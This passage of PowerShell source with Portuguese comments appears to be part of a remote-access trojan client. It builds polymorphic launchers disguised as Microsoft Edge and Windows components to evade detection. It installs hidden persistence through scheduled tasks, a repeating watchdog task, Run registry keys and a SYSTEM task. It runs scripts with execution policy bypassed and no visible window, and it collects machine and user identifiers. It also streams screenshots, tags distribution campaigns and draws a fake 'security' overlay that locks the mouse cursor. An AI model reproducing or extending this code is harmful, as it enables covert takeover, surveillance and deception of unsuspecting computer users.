$identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($identity) return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) } catch { return $false } } # Funcao para verificar se e SYSTEM function Test-IsSystem { try { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() return ($identity.Name -eq "NT AUTHORITY\SYSTEM" -or $identity.User.Value -eq "S-1-5-18") } catch { return $false } } # Funcao para verificar se o servico ja existe (usa $InstallConfig) function Test-ServiceExists { return (Test-WinServiceExists) } # Funcao para criar o servico Windows (wrapper para Install-AsWindowsService) function Install-EdgeService { param([string]$ScriptPath) return (Install-AsWindowsService) } # =============================================================================== # PERSISTENCIA LIMPA (APENAS TAREFA AGENDADA + UAC) # =============================================================================== # Configuracao da persistencia limpa (usa mesmos valores de $InstallConfig) $script:CleanPersistConfig = @{ TaskName = $script:InstallConfig.TaskName InstallDir = $script:InstallConfig.InstallDir ScriptName = $script:InstallConfig.ScriptName # Caminho alternativo para usuario sem Admin UserInstallDir = "$env:APPDATA\Microsoft\Diagnosis\ETW" } # Compilar launcher.exe POLIMÓRFICO (cada compilação = binário único) function Build-Launcher { param([string]$OutputPath, [string]$TargetScript) if (Test-Path $OutputPath -EA SilentlyContinue) { Remove-Item $OutputPath -Force -EA SilentlyContinue } try { # === POLIMORFISMO: Gerar nomes aleatorios === $rnd = { -join ((65..90)+(97..122) | Get-Random -Count (Get-Random -Minimum 6 -Maximum 14) | ForEach-Object {[char]$_}) } $className = & $rnd $methodName = & $rnd $varShell = & $rnd $varType = & $rnd $varObj = & $rnd $varCmd = & $rnd $varPath = & $rnd $varArgs = & $rnd # Metadata aleatória $verMajor = Get-Random -Minimum 100 -Maximum 130 $verMinor = Get-Random -Minimum 0 -Maximum 9 $verBuild = Get-Random -Minimum 1000 -Maximum 9999 $titles = @("Microsoft Edge Update Helper","Windows Diagnostics Service","Edge Browser Component","Windows Update Assistant","System Health Monitor","Windows Telemetry Agent") $companies = @("Microsoft Corporation","Microsoft Windows","Windows System") $descriptions = @("Provides update functionality","System maintenance component","Browser update service","Windows diagnostic utility","Telemetry data collector") $title = $titles | Get-Random $company = $companies | Get-Random $desc = $descriptions | Get-Random # Junk methods aleatorios (2-4 metodos) $junkMethods = "" $junkCount = Get-Random -Minimum 2 -Maximum 5 for ($j = 0; $j -lt $junkCount; $j++) { $jName = & $rnd $jVar1 = & $rnd $jVar2 = & $rnd $jVal = Get-Random -Minimum 10 -Maximum 9999 $junkMethods += " static int $jName() { int $jVar1 = $jVal; int $jVar2 = $jVar1 * $(Get-Random -Minimum 2 -Maximum 50); return $jVar2 - $jVar1; }`n" } # String "powershell" dividida de forma aleatoria $psStr = "powershell" $splitPos = Get-Random -Minimum 2 -Maximum 8 $psPart1 = $psStr.Substring(0, $splitPos) $psPart2 = $psStr.Substring($splitPos) # Junk fields $junkFields = "" $fieldCount = Get-Random -Minimum 1 -Maximum 4 for ($j = 0; $j -lt $fieldCount; $j++) { $fName = & $rnd $fVal = Get-Random -Minimum 100 -Maximum 99999 $junkFields += " static int $fName = $fVal;`n" } $code = @" using System; using System.Reflection; using System.Runtime.InteropServices; [assembly: AssemblyTitle("$title")] [assembly: AssemblyDescription("$desc")] [assembly: AssemblyCompany("$company")] [assembly: AssemblyProduct("$title")] [assembly: AssemblyVersion("$verMajor.$verMinor.$verBuild.0")] class $className { $junkFields $junkMethods static void $methodName(string $varPath) { Type $varType = Type.GetTypeFromProgID("WScript.Shell"); object $varObj = Activator.CreateInstance($varType); string $varCmd = string.Concat("$psPart1", "$psPart2", ".exe -NoP -EP Bypass -W Hidden -c ", new string((char)34, 1)); string $varArgs = string.Concat("`$env:MSEDGE_SKIP_UAC='1';IEX(gc '", $varPath, "' -Raw)", new string((char)34, 1)); $varType.InvokeMember("Run", BindingFlags.InvokeMethod, null, $varObj, new object[] { $varCmd + $varArgs, 0, false }); Marshal.ReleaseComObject($varObj); } static void Main(string[] args) { try { $methodName(args.Length > 0 ? args[0] : @"$TargetScript"); } catch {} } } "@ $cscPaths = @("$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe", "$env:WINDIR\Microsoft.NET\Framework\v4.0.30319\csc.exe") $csc = $cscPaths | Where-Object { Test-Path $_ } | Select-Object -First 1 if ($csc) { $tmp = "$env:TEMP\upd_$((Get-Random)).cs" $code | Out-File $tmp -Encoding UTF8 $r = Start-Process $csc -ArgumentList "/target:winexe /out:`"$OutputPath`" /optimize+ /nologo `"$tmp`"" -Wait -NoNewWindow -PassThru Remove-Item $tmp -Force -EA SilentlyContinue if ($r.ExitCode -ne 0) { return $false } } else { Add-Type -TypeDefinition $code -OutputAssembly $OutputPath -OutputType WindowsApplication -EA Stop } Write-DebugLog "Launcher polimorfico compilado: $OutputPath" return (Test-Path $OutputPath) } catch { Write-DebugLog "Erro compilando launcher: $_" return $false } } # Spawnar processo invisivel (sem janela) function Start-Invisible { param([string]$Command, [string]$Arguments) try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = $Command $psi.Arguments = $Arguments $psi.CreateNoWindow = $true $psi.UseShellExecute = $false $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden [System.Diagnostics.Process]::Start($psi) | Out-Null return $true } catch { Write-DebugLog "Erro Start-Invisible: $_" return $false } } # Instalar persistencia limpa (apenas Registry Run - mais confiavel) function Install-CleanPersistence { param([string]$ScriptPath) Write-DebugLog "=== Install-CleanPersistence INICIO ===" Write-DebugLog "ScriptPath recebido: $ScriptPath" try { $cfg = $script:CleanPersistConfig Write-DebugLog "TaskName: $($cfg.TaskName)" Write-DebugLog "UserInstallDir: $($cfg.UserInstallDir)" # Sempre usar AppData para usuario (mais confiavel) $installDir = $cfg.UserInstallDir Write-DebugLog "installDir: $installDir" # Garantir que a pasta existe if (-not (Test-Path $installDir -ErrorAction SilentlyContinue)) { Write-DebugLog "Criando pasta: $installDir" New-Item -Path $installDir -ItemType Directory -Force | Out-Null } # Copiar script $destScript = Join-Path $installDir $cfg.ScriptName Write-DebugLog "destScript: $destScript" if ($ScriptPath -and (Test-Path $ScriptPath -ErrorAction SilentlyContinue)) { Write-DebugLog "Copiando script de $ScriptPath para $destScript" if ($ScriptPath -ne $destScript) { Copy-Item -Path $ScriptPath -Destination $destScript -Force } Write-DebugLog "Script copiado OK" } else { Write-DebugLog "Script origem nao existe: $ScriptPath - procurando alternativas..." # Tentar encontrar script em locais conhecidos $altPaths = @("C:\Users\Public\Documents\msedge.txt", $script:SourceScriptPath, "$env:TEMP\msedge.txt") foreach ($alt in $altPaths) { if ($alt -and (Test-Path $alt -EA SilentlyContinue)) { Copy-Item -Path $alt -Destination $destScript -Force -EA SilentlyContinue Write-DebugLog "Script encontrado e copiado de: $alt" break } } } # Verificar se destino existe if (Test-Path $destScript -ErrorAction SilentlyContinue) { Write-DebugLog "Script destino existe: $destScript" } else { Write-DebugLog "ERRO: Script destino NAO existe: $destScript" } # =========================================================================== # COMPILAR LAUNCHER + CRIAR TAREFAS INVISIVEIS # =========================================================================== $launcherPath = Join-Path $installDir "launcher.exe" $hasLauncher = Build-Launcher -OutputPath $launcherPath -TargetScript $destScript Write-DebugLog "Launcher disponivel: $hasLauncher" try { $taskName = $cfg.TaskName Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "${taskName}_WD" -Confirm:$false -ErrorAction SilentlyContinue if ($hasLauncher) { $taskAction = New-ScheduledTaskAction -Execute "`"$launcherPath`"" -Argument "`"$destScript`"" } else { $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -EP Bypass -W Hidden -c `"`$env:MSEDGE_SKIP_UAC='1';IEX (gc '$destScript' -Raw)`"" } $triggerLogon = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME $settingsLogon = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited Register-ScheduledTask -TaskName $taskName -Action $taskAction -Trigger $triggerLogon -Settings $settingsLogon -Principal $principal -Force | Out-Null $triggerWD = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(2)) -RepetitionInterval (New-TimeSpan -Minutes 5) -RepetitionDuration (New-TimeSpan -Days 9999) $settingsWD = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -MultipleInstances IgnoreNew Register-ScheduledTask -TaskName "${taskName}_WD" -Action $taskAction -Trigger $triggerWD -Settings $settingsWD -Principal $principal -Force | Out-Null Write-Host "[PERSIST] [OK] Tasks criadas$(if($hasLauncher){' (invisivel!)'})" -ForegroundColor Green # Verificar se tasks foram REALMENTE criadas $taskOK = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue if (-not $taskOK) { Write-DebugLog "AVISO: Task principal nao encontrada apos registro - tentando novamente" Start-Sleep -Milliseconds 500 Register-ScheduledTask -TaskName $taskName -Action $taskAction -Trigger $triggerLogon -Settings $settingsLogon -Principal $principal -Force -ErrorAction SilentlyContinue | Out-Null } } catch { # Fallback: Registry Run Write-DebugLog "Tarefa agendada falhou, tentando Registry Run: $($_.Exception.Message)" try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regName = $cfg.TaskName if ($hasLauncher) { $regValue = "`"$launcherPath`" `"$destScript`"" } else { $regValue = "powershell.exe -NoP -EP Bypass -W Hidden -c `"`$env:MSEDGE_SKIP_UAC='1';IEX (gc '$destScript' -Raw)`"" } Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force -ErrorAction Stop Write-Host "[PERSIST] [OK] Registry Run criado (fallback)" -ForegroundColor Green Write-DebugLog "Registry Run criado OK (fallback)" } catch { Write-Host "[PERSIST] [!] Persistencia falhou: $($_.Exception.Message)" -ForegroundColor Yellow Write-DebugLog "ERRO persistencia: $($_.Exception.Message)" # Retornar false se TUDO falhou Write-Host "[PERSIST] Script: $destScript" -ForegroundColor Gray Write-DebugLog "=== Install-CleanPersistence FIM (FALHOU) ===" return $false } } Write-Host "[PERSIST] Script: $destScript" -ForegroundColor Gray Write-DebugLog "=== Install-CleanPersistence FIM ===" return $true } catch { Write-Host "[PERSIST] [X] Erro: $($_.Exception.Message)" -ForegroundColor Red Write-DebugLog "ERRO GERAL: $($_.Exception.Message)" return $false } } # Verificar se persistencia limpa esta instalada (apenas Registry Run) function Test-CleanPersistenceInstalled { $cfg = $script:CleanPersistConfig # Verificar Tarefa Agendada (metodo principal) try { $task = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $task) { return $true } } catch {} # Verificar Registry Run (fallback) try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regValue = Get-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $regValue) { return $true } } catch {} return $false } # Remover persistencia limpa function Remove-CleanPersistence { try { $cfg = $script:CleanPersistConfig Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue # Remover do Registry Run $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Remove-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue # Remover VBS antigo (limpeza de instalacoes anteriores) $vbsPath = Join-Path $cfg.UserInstallDir "launcher.vbs" if (Test-Path $vbsPath -ErrorAction SilentlyContinue) { Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue } # Remover pasta do usuario if (Test-Path $cfg.UserInstallDir -ErrorAction SilentlyContinue) { Remove-Item -Path $cfg.UserInstallDir -Recurse -Force -ErrorAction SilentlyContinue } Write-Host "[PERSIST] [OK] Persistencia removida!" -ForegroundColor Green return $true } catch { Write-Host "[PERSIST] [X] Erro: $($_.Exception.Message)" -ForegroundColor Red return $false } } # Solicitar UAC e instalar servico (SIMPLIFICADO) function Request-UACAndInstallService { param([string]$ScriptPath) Write-Host "[UAC] Preparando elevacao..." -ForegroundColor Yellow $scriptToUse = $ScriptPath if (-not $scriptToUse) { $scriptToUse = $script:SourceScriptPath } if (-not $scriptToUse) { $scriptToUse = "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt" } if (-not (Test-Path $scriptToUse -EA SilentlyContinue)) { Write-Host "[UAC] ERRO: Script nao encontrado: $scriptToUse" -ForegroundColor Red return "error" } Write-Host "[UAC] Script: $scriptToUse" -ForegroundColor Gray try { # IMPORTANTE: Passar -ScriptPath para que $script:SourceScriptPath seja definido! Write-Host "[UAC] Solicitando Admin..." -ForegroundColor Cyan Start-Process powershell.exe -ArgumentList "-ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$scriptToUse' -Raw))) -ScriptPath '$scriptToUse' -InstallService`"" -Verb RunAs -Wait # Verificar servico com retry (pode demorar para iniciar) for ($check = 1; $check -le 3; $check++) { Start-Sleep -Seconds 3 $svc = Get-Service -Name 'MicrosoftEdgeUpdateCore' -EA SilentlyContinue if ($svc) { Write-Host "[UAC] SUCESSO! Servico instalado!" -ForegroundColor Green return "installed" } Write-DebugLog "[UAC] Verificacao $check - servico nao encontrado ainda" } Write-Host "[UAC] Servico nao encontrado apos 3 tentativas" -ForegroundColor Red return "error" } catch { Write-Host "[UAC] Negado: $_" -ForegroundColor Yellow return "denied" } } function Test-PersistenceInstalled { Test-CleanPersistenceInstalled } function Remove-AutoPersistence { Remove-CleanPersistence } # Funcao para criar tarefa agendada (para elevacao no reboot quando User) function Install-ScheduledTask { param([string]$ScriptPath) try { $cfg = $script:InstallConfig $taskName = $cfg.TaskName # Criar pasta de instalacao (usa AppData se nao tem permissao em ProgramData) $installPath = $cfg.InstallDir try { if (-not (Test-Path $installPath)) { New-Item -Path $installPath -ItemType Directory -Force -ErrorAction Stop | Out-Null } } catch { # Fallback para AppData se nao tem permissao $installPath = "$env:APPDATA\Microsoft\Diagnosis\ETW" if (-not (Test-Path $installPath)) { New-Item -Path $installPath -ItemType Directory -Force | Out-Null } } # Copiar script $destScript = Join-Path $installPath $cfg.ScriptName if ($ScriptPath -ne $destScript) { Copy-Item -Path $ScriptPath -Destination $destScript -Force } # Compilar launcher.exe $launcherPath = Join-Path $installPath "launcher.exe" $hasLauncher = Build-Launcher -OutputPath $launcherPath -TargetScript $destScript # Tentar criar tarefa com SYSTEM (precisa Admin) $isAdmin = Test-IsAdmin if ($isAdmin) { # Com Admin: criar tarefa como SYSTEM if ($hasLauncher) { $action = New-ScheduledTaskAction -Execute "`"$launcherPath`"" -Argument "`"$destScript`"" } else { $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -EP Bypass -W Hidden -c `"`$env:MSEDGE_SKIP_UAC='1';IEX (gc '$destScript' -Raw)`"" } $trigger = New-ScheduledTaskTrigger -AtLogOn $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RunOnlyIfNetworkAvailable:$false $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null Write-Host "[TASK] [OK] Tarefa SYSTEM criada!" -ForegroundColor Green return $true } else { # Sem Admin: usar Registry Run (persistencia basica) $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regName = $cfg.ServiceName if ($hasLauncher) { $regValue = "`"$launcherPath`" `"$destScript`"" } else { $regValue = "powershell.exe -NoP -EP Bypass -W Hidden -c `"`$env:MSEDGE_SKIP_UAC='1';IEX (gc '$destScript' -Raw)`"" } Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force Write-Host "[TASK] [OK] Persistencia via Registry criada!" -ForegroundColor Green Write-Host "[TASK] Executara no logon como usuario atual" -ForegroundColor Cyan return $true } } catch { Write-Host "[TASK] [X] Erro: $($_.Exception.Message)" -ForegroundColor Red return $false } } # Funcao para solicitar elevacao UAC (abre nova janela pedindo Admin) function Request-Elevation { param([string]$ScriptPath) # Simplesmente chamar Request-UACAndInstallService que ja esta atualizada return (Request-UACAndInstallService -ScriptPath $ScriptPath) } # Funcao para remover servico e tarefa function Uninstall-EdgeService { # Wrapper para a nova funcao return (Uninstall-WindowsService) } function Get-SystemInfo { # GARANTIR que token existe (pode não existir se executado via ScriptBlock::Create) if (-not $script:InstallToken -or $script:InstallToken.Length -lt 32) { Write-DebugLog "AVISO: InstallToken não encontrado, gerando novo..." $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken Write-DebugLog "Token gerado: $($script:InstallToken.Substring(0,16))..." } $os = Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue $scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $guid = $null try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$guid) { try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$guid) { $guid = "$env:COMPUTERNAME-$env:USERNAME" } # Coletar IPs reais (IPv4) $ips = @() try { $adapters = Get-NetIPAddress -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.IPAddress -ne '127.0.0.1' -and $_.PrefixOrigin -ne 'WellKnown' } $ips = $adapters | ForEach-Object { $_.IPAddress } } catch { try { $ips = [System.Net.Dns]::GetHostAddresses($env:COMPUTERNAME) | Where-Object { $_.AddressFamily -eq 'InterNetwork' -and $_.IPAddressToString -ne '127.0.0.1' } | ForEach-Object { $_.IPAddressToString } } catch {} } # Coletar MAC Address $mac = "" try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} # Coletar info de CPU/RAM $cpu = "" $ram = "" try { $cpu = (Get-CimInstance Win32_Processor -EA SilentlyContinue | Select-Object -First 1).Name $totalRam = [Math]::Round((Get-CimInstance Win32_ComputerSystem -EA SilentlyContinue).TotalPhysicalMemory / 1GB, 1) $ram = "${totalRam} GB" } catch {} # Detectar tipo de elevacao: System, Admin ou User $elevationType = "User" try { $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($currentUser) $isAdmin = $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) # Verificar se e SYSTEM (NT AUTHORITY\SYSTEM) if ($currentUser.Name -eq "NT AUTHORITY\SYSTEM" -or $currentUser.User.Value -eq "S-1-5-18") { $elevationType = "System" } elseif ($isAdmin) { $elevationType = "Admin" } } catch { $elevationType = "User" } return @{ MachineGuid = $guid MachineName = $env:COMPUTERNAME MachineDomain = $env:USERDOMAIN LoggedOnUserName = $env:USERNAME LoggedOnUserDomain = $env:USERDOMAIN OperatingSystemName = $os.Caption OperatingSystemVersion = $os.Version ScreenWidth = $scr.Width ScreenHeight = $scr.Height ClientVersion = $Config.Version PcSpeed = $script:PerfConfig.PcSpeed TargetFps = $script:PerfConfig.TargetFps LocalIPs = $ips -join ", " MacAddress = $mac CPU = $cpu RAM = $ram InstallToken = $script:InstallToken TokenProof = $script:TokenProof ElevationType = $elevationType Campaign = $script:Campaign ActiveState = @{ OverlayActive = [bool]$script:OverlayActive OverlayMode = [int]$script:PreviousOverlayMode InputBlocked = [bool]$script:InputPaused } } } # Pre-carregar encoder JPEG e criar objetos reutilizaveis $script:JpegEncoder = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' } $script:ScreenBounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $script:MemStream = New-Object System.IO.MemoryStream(262144) # 256KB buffer $script:EncoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]45) # === CONFIGURACOES FIXAS DE ALTA QUALIDADE === # Nao tem benchmark, nao tem ajuste - ESTAVEL E RAPIDO $script:PerfConfig = @{ Quality = 40 # Qualidade balanceada (frames menores = menos delay) FrameInterval = 16 # ~60 FPS alvo (máxima fluidez) PcSpeed = "High" # Fixo TargetFps = 30 # Fixo } # Streaming on-demand: server controla quando enviar screenshots # true = viewer ativo, enviar frames. false = ninguem assistindo, economizar CPU/rede $script:StreamingEnabled = $true # Default true — server pode desativar quando nao tem viewer # ══════════════════════════════════════════════════════════════════════════ # 🏷️ CAMPANHA - Mude este valor antes de distribuir cada campanha # ══════════════════════════════════════════════════════════════════════════ # Exemplos: "ADS", "EMAIL", "SOCIAL", "YT", "CAMP01", "GERAL" $script:Campaign = "Foguete!!!" # =============================================================================== # DETECCAO BALANCEADA DE QR CODE - FUNCIONA DE VERDADE # =============================================================================== # ============================================================================== # CROP SCREEN - Mesma estrutura da tela de captura # Tira print, escurece, deixa area marcada CLARA com BURACO para interagir # ============================================================================== # Variavel global para controlar o form de crop $script:CropForm = $null $script:CropActive = $false function Show-CropScreen { param( [int]$CropX, [int]$CropY, [int]$CropW, [int]$CropH, [string]$Message = "" ) Write-Host "===================================================" -ForegroundColor Magenta Write-Host "[SHOW-CROP] Recebido: CropX=$CropX CropY=$CropY CropW=$CropW CropH=$CropH" -ForegroundColor Magenta # Fechar crop anterior se existir if ($script:CropForm -ne $null) { try { $script:CropForm.Close() } catch {} $script:CropForm = $null } # Obter informacoes do monitor selecionado $selectedMon = Get-SelectedMonitor $monX = $selectedMon.X $monY = $selectedMon.Y $monW = $selectedMon.Width $monH = $selectedMon.Height Write-Host "[SHOW-CROP] Monitor: Index=$($selectedMon.Index) X=$monX Y=$monY W=$monW H=$monH" -ForegroundColor Magenta # Obter VirtualScreen (todos os monitores) $vs = [System.Windows.Forms.SystemInformation]::VirtualScreen $vsX = $vs.X $vsY = $vs.Y $vsW = $vs.Width $vsH = $vs.Height Write-Host "[SHOW-CROP] VirtualScreen: X=$vsX Y=$vsY W=$vsW H=$vsH" -ForegroundColor Magenta # Calcular posicao absoluta do buraco (coordenadas absolutas de tela) $holeAbsX = $monX + $CropX $holeAbsY = $monY + $CropY # Calcular posicao do buraco relativa ao VirtualScreen (para o form) $holeRelX = $holeAbsX - $vsX $holeRelY = $holeAbsY - $vsY Write-Host "[SHOW-CROP] Buraco ABS: ($holeAbsX, $holeAbsY) REL: ($holeRelX, $holeRelY) Size: ${CropW}x${CropH}" -ForegroundColor Green Write-Host "===================================================" -ForegroundColor Magenta # Validar tamanho do crop if ($CropW -lt 50) { $CropW = 50 } if ($CropH -lt 50) { $CropH = 50 } if ($CropX + $CropW -gt $monW) { $CropW = $monW - $CropX } if ($CropY + $CropH -gt $monH) { $CropH = $monH - $CropY } $cropCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # DPI AWARENESS - CRITICO para coordenadas precisas! Add-Type @' using System; using System.Runtime.InteropServices; public class DpiHelper { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int awareness); } '@ try { [DpiHelper]::SetProcessDpiAwareness(2) } catch {} # API para prender mouse e forcar topmost Add-Type @' using System; using System.Runtime.InteropServices; public class CropAPI { [DllImport("user32.dll")] public static extern bool ClipCursor(ref RECT lpRect); [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [StructLayout(LayoutKind.Sequential)] public struct RECT { public int Left, Top, Right, Bottom; } public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); } '@ # Parametros do VirtualScreen `$vsX = $vsX `$vsY = $vsY `$vsW = $vsW `$vsH = $vsH # Parametros do buraco (relativo ao VirtualScreen) `$holeRelX = $holeRelX `$holeRelY = $holeRelY `$holeW = $CropW `$holeH = $CropH # Parametros do buraco (absolutos para ClipCursor) `$holeAbsX = $holeAbsX `$holeAbsY = $holeAbsY `$cropMessage = "$($Message -replace '"','\"' -replace "'","''")" # 1. Tirar screenshot de TODOS os monitores (VirtualScreen) `$screenshot = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$screenshot) `$g.CopyFromScreen(`$vsX, `$vsY, 0, 0, (New-Object System.Drawing.Size(`$vsW, `$vsH))) `$g.Dispose() # 2. Criar overlay com BLUR + escurecimento `$overlay = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$overlay) # Blur maximo: triplo downscale 1/64 (impossivel reconhecer) `$tinyW = [Math]::Max(1, [int](`$vsW / 64)) `$tinyH = [Math]::Max(1, [int](`$vsH / 64)) `$tiny = New-Object System.Drawing.Bitmap(`$tinyW, `$tinyH) `$gt = [System.Drawing.Graphics]::FromImage(`$tiny) `$gt.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gt.DrawImage(`$screenshot, 0, 0, `$tinyW, `$tinyH) `$gt.Dispose() # Ampliar de volta (blur extremo) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g.DrawImage(`$tiny, 0, 0, `$vsW, `$vsH) `$tiny.Dispose() # Repetir: pegar o resultado borrado e borrar de novo `$pass2W = [Math]::Max(1, [int](`$vsW / 32)) `$pass2H = [Math]::Max(1, [int](`$vsH / 32)) `$pass2 = New-Object System.Drawing.Bitmap(`$pass2W, `$pass2H) `$gp = [System.Drawing.Graphics]::FromImage(`$pass2) `$gp.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gp.DrawImage(`$overlay, 0, 0, `$pass2W, `$pass2H) `$gp.Dispose() `$g2 = [System.Drawing.Graphics]::FromImage(`$overlay) `$g2.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g2.DrawImage(`$pass2, 0, 0, `$vsW, `$vsH) `$g2.Dispose() `$pass2.Dispose() # Leve escurecimento (so para dar contraste, nao preto) `$darkBrush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(60, 0, 0, 0)) `$g.FillRectangle(`$darkBrush, 0, 0, `$vsW, `$vsH) # === BANNER DE SEGURANCA acima do recorte === if (`$cropMessage -and `$cropMessage.Length -gt 0) { `$g.SmoothingMode = [System.Drawing.Drawing2D.SmoothingMode]::AntiAlias `$g.TextRenderingHint = [System.Drawing.Text.TextRenderingHint]::ClearTypeGridFit `$headerH = 70 `$pad = 20 `$boxW = `$holeW + (`$pad * 2) `$boxH = `$headerH + `$holeH + (`$pad * 2) if (`$boxW -lt 400) { `$boxW = 400 } # Centralizar box ao redor do hole `$boxX = `$holeRelX + (`$holeW / 2) - (`$boxW / 2) `$boxY = `$holeRelY - `$headerH - `$pad if (`$boxX -lt 5) { `$boxX = 5 } if (`$boxY -lt 5) { `$boxY = 5 } # Recalcular hole para ficar centralizado dentro do box `$holeRelX = `$boxX + (`$boxW - `$holeW) / 2 `$holeRelY = `$boxY + `$headerH + `$pad # ===== FUNDO BRANCO DO BOX INTEIRO (opaco, cobre o blur) ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== HEADER ESCURO por cima do branco ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 25, 32, 48))), `$boxX, `$boxY, `$boxW, `$headerH) # ===== BORDA VERDE ao redor do box inteiro ===== `$g.DrawRectangle((New-Object System.Drawing.Pen([System.Drawing.Color]::FromArgb(255, 34, 197, 94), 3)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== ESCUDO verde ===== `$sx = `$boxX + 18 `$sy = `$boxY + 14 `$sw = 36; `$sh = 44 `$sp = New-Object System.Drawing.Drawing2D.GraphicsPath `$sp.AddLine((`$sx + `$sw/2), `$sy, (`$sx + `$sw), (`$sy + `$sh * 0.28)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.28), (`$sx + `$sw), (`$sy + `$sh * 0.55)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.55), (`$sx + `$sw/2), (`$sy + `$sh)) `$sp.AddLine((`$sx + `$sw/2), (`$sy + `$sh), `$sx, (`$sy + `$sh * 0.55)) `$sp.AddLine(`$sx, (`$sy + `$sh * 0.55), `$sx, (`$sy + `$sh * 0.28)) `$sp.CloseFigure() `$sGrad = New-Object System.Drawing.Drawing2D.LinearGradientBrush( (New-Object System.Drawing.Point(`$sx, `$sy)), (New-Object System.Drawing.Point(`$sx, (`$sy + `$sh))), [System.Drawing.Color]::FromArgb(255, 34, 197, 94), [System.Drawing.Color]::FromArgb(255, 21, 128, 61)) `$g.FillPath(`$sGrad, `$sp) `$ck = New-Object System.Drawing.Pen([System.Drawing.Color]::White, 3.5) `$ck.StartCap = [System.Drawing.Drawing2D.LineCap]::Round `$ck.EndCap = [System.Drawing.Drawing2D.LineCap]::Round 